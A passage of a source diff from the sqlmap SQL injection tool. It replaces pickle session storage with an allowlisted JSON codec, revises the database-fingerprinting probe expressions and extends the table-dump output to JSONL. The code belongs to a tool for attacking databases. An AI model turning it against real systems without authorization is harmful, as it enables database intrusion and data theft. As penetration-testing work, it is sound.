xrange = xrange
|
||||
buffer = buffer
|
||||
|
||||
try:
|
||||
RecursionError = RecursionError
|
||||
except NameError:
|
||||
# Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5)
|
||||
RecursionError = RuntimeError
|
||||
|
||||
def LooseVersion(version):
|
||||
"""
|
||||
>>> LooseVersion("1.0") == LooseVersion("1.0")
|
||||
|
||||
+224
-33
@@ -5,14 +5,11 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
try:
|
||||
import cPickle as pickle
|
||||
except:
|
||||
import pickle
|
||||
|
||||
import base64
|
||||
import binascii
|
||||
import codecs
|
||||
import datetime
|
||||
import decimal
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
@@ -26,7 +23,6 @@ from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
|
||||
from lib.core.settings import IS_TTY
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PICKLE_PROTOCOL
|
||||
from lib.core.settings import SAFE_HEX_MARKER
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from thirdparty import six
|
||||
@@ -35,50 +31,234 @@ from thirdparty.six.moves import html_parser
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
try:
|
||||
from html import escape as htmlEscape
|
||||
from html import escape as _escape
|
||||
except ImportError:
|
||||
from cgi import escape as htmlEscape
|
||||
from cgi import escape as _escape
|
||||
|
||||
def base64pickle(value):
|
||||
htmlEscape = _escape
|
||||
|
||||
# Safe (no arbitrary code execution) serialization used for the session store (HashDB)
|
||||
# and BigArray disk chunks. The former serializer could execute code while loading, so
|
||||
# deserializing sqlmap's own (locally writable) session/cache files was a recurring
|
||||
# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing
|
||||
# is ever executed on load.
|
||||
#
|
||||
# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest
|
||||
# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers
|
||||
# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with
|
||||
# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of
|
||||
# sqlmap's own classes below. Reconstruction of classes is limited to that explicit
|
||||
# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable.
|
||||
|
||||
# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON
|
||||
# objects), so any decoded JSON object is one of our wrappers and this key can never collide
|
||||
_SERIALIZE_TAG = "$T"
|
||||
|
||||
# fully-qualified names of the ONLY classes that may be reconstructed on deserialization
|
||||
_SERIALIZE_CLASSES = frozenset((
|
||||
"lib.core.datatype.AttribDict",
|
||||
"lib.core.datatype.InjectionDict",
|
||||
"lib.utils.har.RawPair",
|
||||
))
|
||||
|
||||
def _serializeEncode(value):
|
||||
"""
|
||||
Serializes (with pickle) and encodes to Base64 format supplied (binary) value
|
||||
|
||||
>>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
Turns a Python value into a JSON-serializable (tagged) structure
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types):
|
||||
return value
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
return value
|
||||
|
||||
# Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON
|
||||
# string that would round-trip as 'unicode') keeps the exact byte type across versions
|
||||
if isinstance(value, (six.binary_type, bytearray)):
|
||||
raw = bytes(value) if isinstance(value, bytearray) else value
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0}
|
||||
|
||||
if isinstance(value, memoryview):
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0}
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||
except:
|
||||
warnMsg = "problem occurred while serializing "
|
||||
warnMsg += "instance of a type '%s'" % type(value)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if isinstance(value, buffer): # noqa: F821 # Python 2 only
|
||||
return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0}
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
try:
|
||||
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||
except:
|
||||
raise
|
||||
# Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch
|
||||
# (otherwise it would round-trip as a plain list, losing its type)
|
||||
if isinstance(value, BigArray):
|
||||
return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, list):
|
||||
return [_serializeEncode(_) for _ in value]
|
||||
|
||||
if isinstance(value, tuple):
|
||||
return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, frozenset):
|
||||
return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, (set, _collections.Set)):
|
||||
return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]}
|
||||
|
||||
if isinstance(value, dict):
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
||||
return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))}
|
||||
elif value.__class__ is dict:
|
||||
return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]}
|
||||
else:
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
if isinstance(value, decimal.Decimal):
|
||||
return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)}
|
||||
|
||||
if isinstance(value, datetime.datetime):
|
||||
return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.date):
|
||||
return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]}
|
||||
|
||||
if isinstance(value, datetime.time):
|
||||
return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]}
|
||||
|
||||
if isinstance(value, datetime.timedelta):
|
||||
return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]}
|
||||
|
||||
name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__)
|
||||
if name in _SERIALIZE_CLASSES:
|
||||
return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))}
|
||||
|
||||
return _serializeUnknown(value, name)
|
||||
|
||||
def _serializeUnknown(value, name):
|
||||
"""
|
||||
Fallback for a type not explicitly handled by the serializer
|
||||
"""
|
||||
|
||||
# sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly
|
||||
# (caught by the regression tests) rather than silently store something that cannot be restored
|
||||
if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"):
|
||||
raise TypeError("serialization of type '%s' is not supported" % name)
|
||||
|
||||
# a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather
|
||||
# than crash a user's session - session values are only ever rendered (getUnicode) downstream
|
||||
singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name)
|
||||
return getUnicode(value)
|
||||
|
||||
def _serializeDecode(struct):
|
||||
"""
|
||||
Restores a Python value from a JSON-deserialized (tagged) structure
|
||||
"""
|
||||
|
||||
if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.text_type):
|
||||
return struct
|
||||
|
||||
if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes
|
||||
return getUnicode(struct)
|
||||
|
||||
if isinstance(struct, list):
|
||||
return [_serializeDecode(_) for _ in struct]
|
||||
|
||||
if isinstance(struct, dict):
|
||||
tag = struct.get(_SERIALIZE_TAG)
|
||||
|
||||
if tag == "b":
|
||||
raw = decodeBase64(struct["v"], binary=True)
|
||||
return bytearray(raw) if struct.get("a") else raw
|
||||
elif tag == "t":
|
||||
return tuple(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "f":
|
||||
return frozenset(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "ba":
|
||||
return BigArray([_serializeDecode(_) for _ in struct["v"]])
|
||||
elif tag == "s":
|
||||
return set(_serializeDecode(_) for _ in struct["v"])
|
||||
elif tag == "m":
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"])
|
||||
elif tag == "dec":
|
||||
return decimal.Decimal(struct["v"])
|
||||
elif tag == "dt":
|
||||
return datetime.datetime(*struct["v"])
|
||||
elif tag == "date":
|
||||
return datetime.date(*struct["v"])
|
||||
elif tag == "time":
|
||||
return datetime.time(*struct["v"])
|
||||
elif tag == "td":
|
||||
return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2])
|
||||
elif tag == "o":
|
||||
return _serializeDecodeObject(struct)
|
||||
elif tag is None: # defensive - a bare mapping should never occur
|
||||
return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items())
|
||||
else:
|
||||
raise ValueError("unsupported serialized tag '%s'" % tag)
|
||||
|
||||
raise ValueError("unsupported serialized structure of type '%s'" % type(struct))
|
||||
|
||||
def _serializeResolveClass(name):
|
||||
"""
|
||||
Resolves an allowlisted class name to its class (nothing else may be reconstructed)
|
||||
"""
|
||||
|
||||
if name not in _SERIALIZE_CLASSES:
|
||||
raise ValueError("deserialization of class '%s' is forbidden" % name)
|
||||
|
||||
if name == "lib.utils.har.RawPair":
|
||||
from lib.utils.har import RawPair
|
||||
return RawPair
|
||||
else:
|
||||
from lib.core.datatype import AttribDict, InjectionDict
|
||||
return InjectionDict if name.endswith("InjectionDict") else AttribDict
|
||||
|
||||
def _serializeDecodeObject(struct):
|
||||
"""
|
||||
Reconstructs an allowlisted class instance from its serialized form
|
||||
"""
|
||||
|
||||
_class = _serializeResolveClass(struct.get("c"))
|
||||
retVal = _class.__new__(_class)
|
||||
|
||||
if isinstance(retVal, dict):
|
||||
for pair in (struct.get("d") or []):
|
||||
dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1]))
|
||||
|
||||
state = _serializeDecode(struct.get("s") or {})
|
||||
if isinstance(state, dict):
|
||||
retVal.__dict__.update(state)
|
||||
|
||||
return retVal
|
||||
|
||||
def base64unpickle(value):
|
||||
def serializeValue(value):
|
||||
"""
|
||||
Decodes value from Base64 to plain format and deserializes (with pickle) its content
|
||||
Safely serializes a Python value to its canonical serialized form (JSON text), without any
|
||||
code-execution risk
|
||||
|
||||
>>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object
|
||||
Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no
|
||||
Base64 (or any base-N) wrapping is needed (that was only required by the former binary
|
||||
serialization), which also keeps the stored form as small as possible. Callers that need raw
|
||||
bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text.
|
||||
|
||||
>>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}}
|
||||
True
|
||||
>>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})]
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':'))
|
||||
|
||||
try:
|
||||
retVal = pickle.loads(decodeBase64(value))
|
||||
except TypeError:
|
||||
retVal = pickle.loads(decodeBase64(bytes(value)))
|
||||
def deserializeValue(value):
|
||||
"""
|
||||
Restores a Python value from its serialized form (accepts the serialized data as either text or
|
||||
bytes)
|
||||
"""
|
||||
|
||||
return retVal
|
||||
return _serializeDecode(json.loads(getText(value)))
|
||||
|
||||
def htmlUnescape(value):
|
||||
"""
|
||||
@@ -460,6 +640,9 @@ def stdoutEncode(value):
|
||||
|
||||
return retVal
|
||||
|
||||
# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7)
|
||||
_HAS_ISASCII = hasattr(str, "isascii")
|
||||
|
||||
def getConsoleLength(value):
|
||||
"""
|
||||
Returns console width of unicode values
|
||||
@@ -471,7 +654,15 @@ def getConsoleLength(value):
|
||||
"""
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
|
||||
# Fast path: ASCII values have no wide (>= U+3000) characters, so their
|
||||
# console width is simply their length. str.isascii() (Python 3.7+) is a
|
||||
# C-level scan, far cheaper than the per-character generator below (which
|
||||
# stays for the rare wide-character case and for Python 2). This runs
|
||||
# once per dumped cell, so it dominates large table dumps.
|
||||
if _HAS_ISASCII and value.isascii():
|
||||
retVal = len(value)
|
||||
else:
|
||||
retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
|
||||
else:
|
||||
retVal = len(value)
|
||||
|
||||
|
||||
@@ -7,9 +7,8 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
import copy
|
||||
import threading
|
||||
import types
|
||||
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six.moves import collections_abc as _collections
|
||||
|
||||
class AttribDict(dict):
|
||||
@@ -151,7 +150,7 @@ class LRUDict(object):
|
||||
def get(self, key, default=None):
|
||||
try:
|
||||
return self.__getitem__(key)
|
||||
except:
|
||||
except (KeyError, TypeError):
|
||||
return default
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
|
||||
+12
-8
@@ -59,15 +59,19 @@ def cachedmethod(f):
|
||||
return cache[key]
|
||||
|
||||
except TypeError:
|
||||
# Note: fallback (slowpath(
|
||||
if kwargs:
|
||||
key = (_freeze(args), _freeze(kwargs))
|
||||
else:
|
||||
key = _freeze(args)
|
||||
# Note: fallback (slow-path) for unhashable arguments
|
||||
try:
|
||||
if kwargs:
|
||||
key = (_freeze(args), _freeze(kwargs))
|
||||
else:
|
||||
key = _freeze(args)
|
||||
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
with lock:
|
||||
if key in cache:
|
||||
return cache[key]
|
||||
except TypeError:
|
||||
# Note: genuinely uncacheable arguments; skip caching altogether
|
||||
return f(*args, **kwargs)
|
||||
|
||||
result = f(*args, **kwargs)
|
||||
|
||||
|
||||
+4
-2
@@ -289,9 +289,9 @@ HEURISTIC_NULL_EVAL = {
|
||||
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||
DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite
|
||||
DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL", # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval
|
||||
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||
DBMS.CACHE: "%SQLUPPER NULL",
|
||||
DBMS.CACHE: "%EXACT(NULL)", # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here
|
||||
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
|
||||
DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
|
||||
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
|
||||
@@ -431,6 +431,8 @@ PART_RUN_CONTENT_TYPES = {
|
||||
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
|
||||
"search": CONTENT_TYPE.SEARCH,
|
||||
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
|
||||
"getStatements": CONTENT_TYPE.STATEMENTS,
|
||||
"getProcs": CONTENT_TYPE.PROCEDURES,
|
||||
"tableExists": CONTENT_TYPE.COMMON_TABLES,
|
||||
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
|
||||
"readFile": CONTENT_TYPE.FILE_READ,
|
||||
|
||||
+116
-53
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
@@ -14,6 +15,7 @@ import threading
|
||||
|
||||
from lib.core.common import Backend
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import clearColors
|
||||
from lib.core.common import dataToDumpFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import filterNone
|
||||
@@ -30,6 +32,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getConsoleLength
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlEscape
|
||||
@@ -59,6 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||
from lib.utils.safe2bin import safechardecode
|
||||
from thirdparty import six
|
||||
from thirdparty.magic import magic
|
||||
from collections import OrderedDict
|
||||
|
||||
class Dump(object):
|
||||
"""
|
||||
@@ -90,12 +94,25 @@ class Dump(object):
|
||||
except IOError as ex:
|
||||
errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if multiThreadMode:
|
||||
self._lock.release()
|
||||
finally:
|
||||
if multiThreadMode:
|
||||
self._lock.release()
|
||||
|
||||
kb.dataOutputFlag = True
|
||||
|
||||
def _reportData(self, data, content_type):
|
||||
"""
|
||||
--report-json: capture a structured result exactly as the REST API would store it (the raw
|
||||
value + COMPLETE status), independent of console/file rendering. No-op unless a report
|
||||
collector is active - which is only ever the case for a CLI --report-json run, never under
|
||||
--api - so this never double-captures alongside StdDbOut. A None content_type is resolved
|
||||
via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly.
|
||||
"""
|
||||
|
||||
if conf.get("reportCollector") is not None:
|
||||
from lib.utils.api import _storeData, REPORT_TASKID
|
||||
_storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
|
||||
|
||||
def flush(self):
|
||||
if self._outputFP:
|
||||
try:
|
||||
@@ -116,9 +133,12 @@ class Dump(object):
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
def singleString(self, data, content_type=None):
|
||||
self._reportData(data, content_type)
|
||||
self._write(data, content_type=content_type)
|
||||
|
||||
def string(self, header, data, content_type=None, sort=True):
|
||||
self._reportData(data, content_type)
|
||||
|
||||
if conf.api:
|
||||
self._write(data, content_type=content_type)
|
||||
|
||||
@@ -153,6 +173,8 @@ class Dump(object):
|
||||
except:
|
||||
pass
|
||||
|
||||
self._reportData(elements, content_type)
|
||||
|
||||
if conf.api:
|
||||
self._write(elements, content_type=content_type)
|
||||
|
||||
@@ -194,6 +216,9 @@ class Dump(object):
|
||||
def statements(self, statements):
|
||||
self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
|
||||
|
||||
def procedures(self, procedures):
|
||||
self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
|
||||
|
||||
def userSettings(self, header, userSettings, subHeader, content_type=None):
|
||||
self._areAdmins = set()
|
||||
|
||||
@@ -204,6 +229,8 @@ class Dump(object):
|
||||
users = [_ for _ in userSettings.keys() if _ is not None]
|
||||
users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
|
||||
self._reportData(userSettings, content_type)
|
||||
|
||||
if conf.api:
|
||||
self._write(userSettings, content_type=content_type)
|
||||
|
||||
@@ -237,6 +264,8 @@ class Dump(object):
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||
self._reportData(dbTables, CONTENT_TYPE.TABLES)
|
||||
|
||||
if conf.api:
|
||||
self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
|
||||
|
||||
@@ -279,6 +308,8 @@ class Dump(object):
|
||||
|
||||
def dbTableColumns(self, tableColumns, content_type=None):
|
||||
if isinstance(tableColumns, dict) and len(tableColumns) > 0:
|
||||
self._reportData(tableColumns, content_type)
|
||||
|
||||
if conf.api:
|
||||
self._write(tableColumns, content_type=content_type)
|
||||
|
||||
@@ -290,11 +321,14 @@ class Dump(object):
|
||||
maxlength1 = 0
|
||||
maxlength2 = 0
|
||||
|
||||
colType = None
|
||||
|
||||
colList = list(columns.keys())
|
||||
colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
|
||||
|
||||
# Note: decide the layout by whether ANY column carries a type, not by the last
|
||||
# column iterated; otherwise a mixed table (some columns typed, some not) whose
|
||||
# alphabetically-last column is type-less renders a header/body column mismatch
|
||||
hasType = any(columns[_] is not None for _ in colList)
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
|
||||
@@ -305,7 +339,7 @@ class Dump(object):
|
||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||
lines1 = "-" * (maxlength1 + 2)
|
||||
|
||||
if colType is not None:
|
||||
if hasType:
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines2 = "-" * (maxlength2 + 2)
|
||||
|
||||
@@ -316,17 +350,15 @@ class Dump(object):
|
||||
else:
|
||||
self._write("[%d columns]" % len(columns))
|
||||
|
||||
if colType is not None:
|
||||
if hasType:
|
||||
self._write("+%s+%s+" % (lines1, lines2))
|
||||
else:
|
||||
self._write("+%s+" % lines1)
|
||||
|
||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||
|
||||
if colType is not None:
|
||||
if hasType:
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
if colType is not None:
|
||||
self._write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self._write("+%s+%s+" % (lines1, lines2))
|
||||
else:
|
||||
@@ -339,19 +371,22 @@ class Dump(object):
|
||||
column = unsafeSQLIdentificatorNaming(column)
|
||||
blank1 = " " * (maxlength1 - getConsoleLength(column))
|
||||
|
||||
if colType is not None:
|
||||
if hasType:
|
||||
colType = colType or ""
|
||||
blank2 = " " * (maxlength2 - getConsoleLength(colType))
|
||||
self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
else:
|
||||
self._write("| %s%s |" % (column, blank1))
|
||||
|
||||
if colType is not None:
|
||||
if hasType:
|
||||
self._write("+%s+%s+\n" % (lines1, lines2))
|
||||
else:
|
||||
self._write("+%s+\n" % lines1)
|
||||
|
||||
def dbTablesCount(self, dbTables):
|
||||
if isinstance(dbTables, dict) and len(dbTables) > 0:
|
||||
self._reportData(dbTables, CONTENT_TYPE.COUNT)
|
||||
|
||||
if conf.api:
|
||||
self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
|
||||
|
||||
@@ -413,6 +448,8 @@ class Dump(object):
|
||||
safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
|
||||
safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
|
||||
|
||||
self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE)
|
||||
|
||||
if conf.api:
|
||||
self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
|
||||
|
||||
@@ -431,7 +468,7 @@ class Dump(object):
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb))
|
||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
|
||||
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
try:
|
||||
os.makedirs(dumpDbPath)
|
||||
@@ -590,10 +627,25 @@ class Dump(object):
|
||||
elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
rtable.beginTransaction()
|
||||
|
||||
# Precompute the per-column layout once. These values are invariant across
|
||||
# every row, so resolving them per cell (dict lookup, int() conversion and
|
||||
# identifier normalization) wasted count x ncols work on large dumps.
|
||||
dumpColumns = []
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"])))
|
||||
|
||||
for i in xrange(count):
|
||||
console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
|
||||
field = 1
|
||||
values = []
|
||||
|
||||
# Only the SQLITE and JSONL paths accumulate a per-row container; the
|
||||
# others left these unused, wasting an allocation on every single row
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
values = []
|
||||
elif conf.dumpFormat == DUMP_FORMAT.JSONL:
|
||||
record = OrderedDict()
|
||||
|
||||
if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
|
||||
self._write(" ...")
|
||||
@@ -601,51 +653,58 @@ class Dump(object):
|
||||
if conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<tr>")
|
||||
|
||||
for column in columns:
|
||||
if column != "__infos__":
|
||||
info = tableValues[column]
|
||||
for safeColumn, colValues, maxlength in dumpColumns:
|
||||
if len(colValues) <= i or colValues[i] is None:
|
||||
value = u''
|
||||
else:
|
||||
value = getUnicode(colValues[i])
|
||||
value = DUMP_REPLACEMENTS.get(value, value)
|
||||
|
||||
if len(info["values"]) <= i or info["values"][i] is None:
|
||||
value = u''
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
# Note: store a real NULL for the NULL sentinel (and the raw value otherwise),
|
||||
# mirroring the JSONL path below; appending the display-replaced 'NULL'/'<blank>'
|
||||
# text would corrupt the INTEGER/REAL-typed columns inferred above
|
||||
if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL
|
||||
values.append(None)
|
||||
else:
|
||||
value = getUnicode(info["values"][i])
|
||||
value = DUMP_REPLACEMENTS.get(value, value)
|
||||
values.append(getUnicode(colValues[i]))
|
||||
|
||||
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
|
||||
values.append(value)
|
||||
blank = " " * (maxlength - getConsoleLength(value))
|
||||
self._write("| %s%s" % (value, blank), newline=False, console=console)
|
||||
|
||||
maxlength = int(info["length"])
|
||||
blank = " " * (maxlength - getConsoleLength(value))
|
||||
self._write("| %s%s" % (value, blank), newline=False, console=console)
|
||||
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
|
||||
try:
|
||||
mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
|
||||
if any(mimetype.startswith(_) for _ in ("application", "image")):
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath)
|
||||
|
||||
if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
|
||||
try:
|
||||
mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
|
||||
if any(mimetype.startswith(_) for _ in ("application", "image")):
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
os.makedirs(dumpDbPath)
|
||||
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn))
|
||||
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
|
||||
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
|
||||
logger.warning(warnMsg)
|
||||
|
||||
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
|
||||
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
|
||||
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
|
||||
logger.warning(warnMsg)
|
||||
with openFile(filepath, "w+b", None) as f:
|
||||
_ = safechardecode(value, True)
|
||||
f.write(_)
|
||||
|
||||
with openFile(filepath, "w+b", None) as f:
|
||||
_ = safechardecode(value, True)
|
||||
f.write(_)
|
||||
except Exception as ex:
|
||||
logger.debug(getSafeExString(ex))
|
||||
|
||||
except Exception as ex:
|
||||
logger.debug(getSafeExString(ex))
|
||||
if conf.dumpFormat == DUMP_FORMAT.CSV:
|
||||
if field == fields:
|
||||
dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
|
||||
elif conf.dumpFormat == DUMP_FORMAT.HTML:
|
||||
dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
|
||||
elif conf.dumpFormat == DUMP_FORMAT.JSONL:
|
||||
if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL
|
||||
record[safeColumn] = None
|
||||
else:
|
||||
record[safeColumn] = getUnicode(colValues[i])
|
||||
|
||||
